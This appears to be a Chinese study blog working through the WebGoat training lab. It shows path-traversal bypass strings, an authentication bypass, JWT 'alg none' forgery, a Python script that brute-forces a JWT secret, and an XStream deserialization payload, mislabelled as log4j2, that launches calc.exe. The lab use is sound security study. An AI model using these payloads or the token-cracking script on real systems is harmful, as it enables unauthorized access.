文章目录
- 知识补充
- Javaweb安全之webGoat
- webgoat靶场搭建
- 闯关
- General
- Injection
- ldentity & Auth Failure
- log4j2漏洞利用
- JS项目&Node.JS框架安全
知识补充
Burpsuite Render在无法预览显示时,可以适当的清理缓存
win10下输入文字变成繁体解决
Javaweb安全之webGoat
webgoat靶场搭建
进行web漏洞实验的Java靶场程序,用来说明web应用中存在的安全漏洞。
下载文件(最新版本包含新的漏洞靶场):
https://github.com/WebGoat/WebGoat/releases/
https://github.com/WebGoat/WebGoat/releases/
执行命令,开启靶场:
java -jar webgoat-server-8.0.0.M17.jar [–server.port=8080] [–server.address=localhost]
java -jar webwolf-8.0.0.M17.jar
访问链接:http://127.0.0.1:8080/WebGoat,自动跳转login界面,注册登录。
其中webgoat用于进行WEB漏洞测试和学习的JAVA应用程序,webwolf用于模拟攻击者,其中提供了许多辅助攻击者的工具
参考文章1
参考文章2
闯关
General
Basics HTTP基础
- 随便输入字符串,经过服务器就给你逆序,不过这个输入框是存在xss的
- 就是逆序输出
- 输入框让输入POST或GET命令,输入魔法数字,抓包
注 \color{red}{注} 注:这个数字是会变的,需要每次抓包观察
Proxies HTTP代理
- 将参数输入进去,进入
bp
,右键change method
Change the Method to GET
Add a header ‘x-request-intercepted:true’
Remove the request body and instead send ‘changeMe’ as a query string parameter and set the value to ‘Requests are tampered easily’ (without the single quotes)
Then let the request continue through (by hitting the play button).
Developer Tools 开发者工具
- Using the console
在concle中输入webgoat.customjs.phoneHome(),将随机数粘贴进输入框
6. Working with the Network tab
在http请求的请求字段中包含一个networkNum字段,将随机数复制上去
注 \color{red}{注} 注:想到为什么会在payload中才能看到这串数字
前后端联调之Form Data与Request Payload,具体解释说道:该字段的出现类型主要伴随着Content-type
的出现而出现
Injection
Path traversal 路径遍历
攻击者可以在其中访问或存储外部的文件和目录 应用程序的位置
解决问题:部分目录不允许上传可执行文件,向上级目录上传
查看源码:将jar宝解压,用idea打开,寻找对应的jar,添加道路,对源码进行查看
- 要求上传到
C:\Users\2han/.webgoat-2023.8/PathTraversal
位置,经过抓包后发现,其上传位置包含了一个resign,所以要上传到其上一级目录。
修改目标位置@ResponseBody public AttackResult uploadFileHandler(@RequestParam("uploadedFile") MultipartFile file, @RequestParam(value = "fullName",required = false) String fullName) { return super.execute(file, fullName); }
成功过关
- 对上次实验做了修复,需要相同的结果,结果如下
第一行post到服务器端POST /WebGoat/PathTraversal/profile-upload-fix HTTP/1.1
,查找该文件,进行了单层过滤替代。
双写绕过@ResponseBody public AttackResult uploadFileHandler(@RequestParam("uploadedFileFix") MultipartFile file, @RequestParam(value = "fullNameFix",required = false) String fullName) { return super.execute(file, fullName != null ? fullName.replace("../", "") : ""); }
- 一样是将文件上传到该位置,getOriginalFilename()得到上传时的文件名,所以从文件名入手。
源码@ResponseBody public AttackResult uploadFileHandler(@RequestParam("uploadedFileRemoveUserInput") MultipartFile file) { return super.execute(file, file.getOriginalFilename()); }
- 一样的,直接看源码
如果参数为null,或者不包含…或/,则进入下面的代码;
获取id,有id则赋值,若没有id,则生成一个1~10的随机数作为id;
catPicture是id后面加了.jpg;
若出现path-traversal-secret.jpg
参数,返回ok。
开始尝试,当传入id=1,有返回
尝试查找path-traversal-secret
,当有…/时会出现非法字符提示,尝试使用反斜杠\仍旧无法绕过,使用%2e%2e%2f
进行绕过
总结:
目录遍历双写…/绕过,双写绕过;
返回400,说明服务器后台并未对目录遍历攻击作任何限制,但是并没有请求到资源;
GET 请求参数中不允许存在…与/时,通过 url 编码绕过,%2e%2e%2f为. ./;
当服务器只允许获取当前格式的资源时,使用空白字符绕过,%20,%2a;
当使用post传参时,仅修改可变参数。
ldentity & Auth Failure
Authentication Bypasses 身份认证绕过
POST /WebGoat/auth-bypass/verify-account HTTP/1.1
根据第一行数据可查找后台代码
身份认证:
认证问题答案,很多选项:
你叫什么名字等等…只有两个问题(类似原来的qq密保类的东西)
接受键名和键值
s0=xiaodi&s1=湖北 正确
s3=null&s4=null发送数据
s3 s4为空,相当于NULL,那么就能进行绕过。
安全验证:
固定接受的数据:s0 s1判断你的数据 正常
不固定:s0 s1 正常
不固定:s2 s3不在数据库或者变量内,攻击者就能测试。
URL触发连接,访问地址:auth-bypass/verify-account
JWT tokens
由三部分构成,以.分隔,出现在cookie上
The token is base64 encoded and consists of three parts:
1.header是base64编码后的头部信息
{'typ': 'JWT','alg': 'HS256'}
定义了声明token类型和签名算法alg
2.payload是base编码的载荷部分,用来包含用户名,权限等数据
iss (issuer):签发人
sub (subject):主题
aud (audience):受众
exp (expiration time):过期时间
nbf (Not Before):生效时间,在此之前是无效的
iat (Issued At):签发时间
jti (JWT ID):编号
-定义一个payload:{
"sub": "l3ife",
"name": "l3ife",
"iat": 888888}
对其进行base64加密,得到jwt的第二部分
eyJzdWIiOiJsM2lmZSIsIm5hbWUiOiJsM2lmZSIsImlhdCI6ODg4ODg4fQ
3.signature,把前两段的base密文通过﹐拼接起来,然后对其进行HS256加密,再然后对 hs256密文进行base64url加密,最终得到token的第三段。
HS256加密:
signature = HMACSHA256( base64UrlEncode(header) + "." +base64UrlEncode(payload), secret );
RS256加密:
signature = RSASHA256(base64UrlEncode(header) + "." +base64UrlEncode(payload), publicKey, privateKey)
解密平台:https://jwt.io/
用户在成功对服务器进行身份验证时使用用户名和密码登录返回。服务器创建一个新令牌,并将此令牌返回给客户端。当客户端连续调用服务器,它将新令牌附加到“Authorization”标头中。 服务器读取令牌并首先验证签名,验证成功后,服务器使用令牌中用于标识用户的信息。
-
用户无法投票,只有成为管理员才可以投票,需要更改令牌成为管理员用户,成了管理员用户才可以重置投票
声明加密方法为HS512,第二部分声明用户名和权限,可以看到管理员权限为false
将admin改为true,由于加密方法是HS512,且不知道秘钥,所以只能将alg的值改为none,即无加密方法。
{
“alg”: “none”
}
{
“iat”: 1706459434,
“admin”: “true”,
“user”: “Tom”
}
11. 暴力破解便有可能将密钥解出。token:eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTcwNTYwNDg5NiwiZXhwIjoxNzA1NjA0OTU2LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.5aqiNb0jY1xvFycagd65E1eN0PsFhbgvhf8lBMXZTio
暴力破解import jwt import termcolor if __name__ == "__main__": jwt_str = R'eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTY0MTg5Njc3MiwiZXhwIjoxNjQxODk2ODMyLCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.ZaBAasksu_uUYloJwpaNwzRhpIaHNSSYxSANfmNZ1Rk' with open('top1000.txt') as f: for line in f: key_ = line.strip() try: jwt.decode(jwt_str, algorithms=["HS256"],verify=True, key=key_) print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--') break except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError): print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--') break except jwt.exceptions.InvalidSignatureError: print('\r', ' ' * 64, '\r\btry', key_, end='', flush=True) continue else: print('\r', '\bsorry! no key be found.') # bingo! found key --> victory <--
根据要求修改username为webgoat;将密钥填进去;修改一下exp的时间戳,只要比当前时间晚就好。
13. 之前的日志,找到一种方法去让tom花钱订购书,在日志中发现token
抓结账的宝,修改jwt,exp为请求过期时间,加密方式使用none
参考链接
参考文章1
参考文章2
log4j2漏洞利用
<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>calc.exe</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
JS项目&Node.JS框架安全
JavaScript语言可以通过其网站本身代码检查查看,等同于白盒测试
在Javascript中也存在变量和函数,存在可控变量及函数调用,即参数漏洞
判断是否为js代码开发的web应用
插件wappalyzer
源代码简短
引入多个js文件
一般有/static/js/app.js 等顺序的js文件
cookie中有connect.sid
如何获取更多的JS文件?
JsFinder
Packer-Fuzzer
扫描器后缀替换字典
快速获取价值代码?
method:"get"
http.get("
method:"post"
http.post("
$.ajax
service.httppost
service.httpget
参考文章